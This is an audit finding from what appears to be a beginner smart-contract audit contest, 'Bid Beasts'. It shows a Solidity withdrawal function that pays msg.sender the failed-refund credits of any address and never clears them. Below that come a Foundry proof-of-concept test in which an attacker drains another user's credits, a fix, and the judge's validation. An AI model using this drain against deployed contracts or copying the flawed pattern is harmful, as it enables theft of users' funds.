Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[H-1] An attacker can drain the eth's contract from a failed payout.

Root + Impact

Description

  • If someone calls function withdrawAllFailedCredits(address _receiver) ends up receiving the pending amount from the receiver to itself draining the fail funds to itself

  • When the function is called it fetchs correctly the failed amount pending to the receiver and then proceeds to send the amount to itself, this operation can be repeated as many times as funds are in the contract.

/**
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
@> (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Monitor the contract for failed payouts is very easy to do it.

  • When failed payout is identified and confirming with the map failedTransferCredits that is set to public. The attacker has the means to steal all the eth from the contract.


Impact:

  • Drain all contract's eth directly to the attacker.

Proof of Concept

The attacker identifies a failed payout to an address from the Marketplace contract, and thanks to the nature of Blockchain the failed transaction is broadcasted to the network. The attacker proceeds to issue the function market.withdrawAllFailedCredits and drains the crypto from the contract.

function test_withdrawAllFailedCredits_actualVulnerability() public {
// Setup: Create a real scenario with failed credits using the RejectEther contract
_mintNFT();
_listNFT();
// Give RejectEther contract some ETH to bid with
vm.deal(address(rejector), 10 ether);
// RejectEther places first bid
vm.prank(address(rejector));
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
// BIDDER_1 outbids, causing refund to RejectEther to fail
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 2 ether}(TOKEN_ID);
// Verify RejectEther has failed credits
uint256 rejectorFailedCredits = market.failedTransferCredits(address(rejector));
assertEq(rejectorFailedCredits, MIN_PRICE + 1 ether, "RejectEther should have failed credits");
// Now demonstrate the vulnerability: ATTACKER can steal RejectEther's credits!
uint256 attackerBalanceBefore = ATTACKER.balance;
// ATTACKER calls withdrawAllFailedCredits with RejectEther's address
vm.prank(ATTACKER);
market.withdrawAllFailedCredits(address(rejector));
// ATTACKER receives the money that belonged to RejectEther!
assertEq(ATTACKER.balance, attackerBalanceBefore + rejectorFailedCredits, "ATTACKER stole RejectEther's credits");
// RejectEther's credits are NOT zeroed (because function zeros msg.sender, not _receiver)
// This is the bug - it should have zeroed rejector's credits but didn't
assertEq(market.failedTransferCredits(address(rejector)), rejectorFailedCredits, "RejectEther credits still exist due to bug");
}

Recommended Mitigation

/**
* @notice Allows users to withdraw funds that failed to be transferred directly.
*/
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!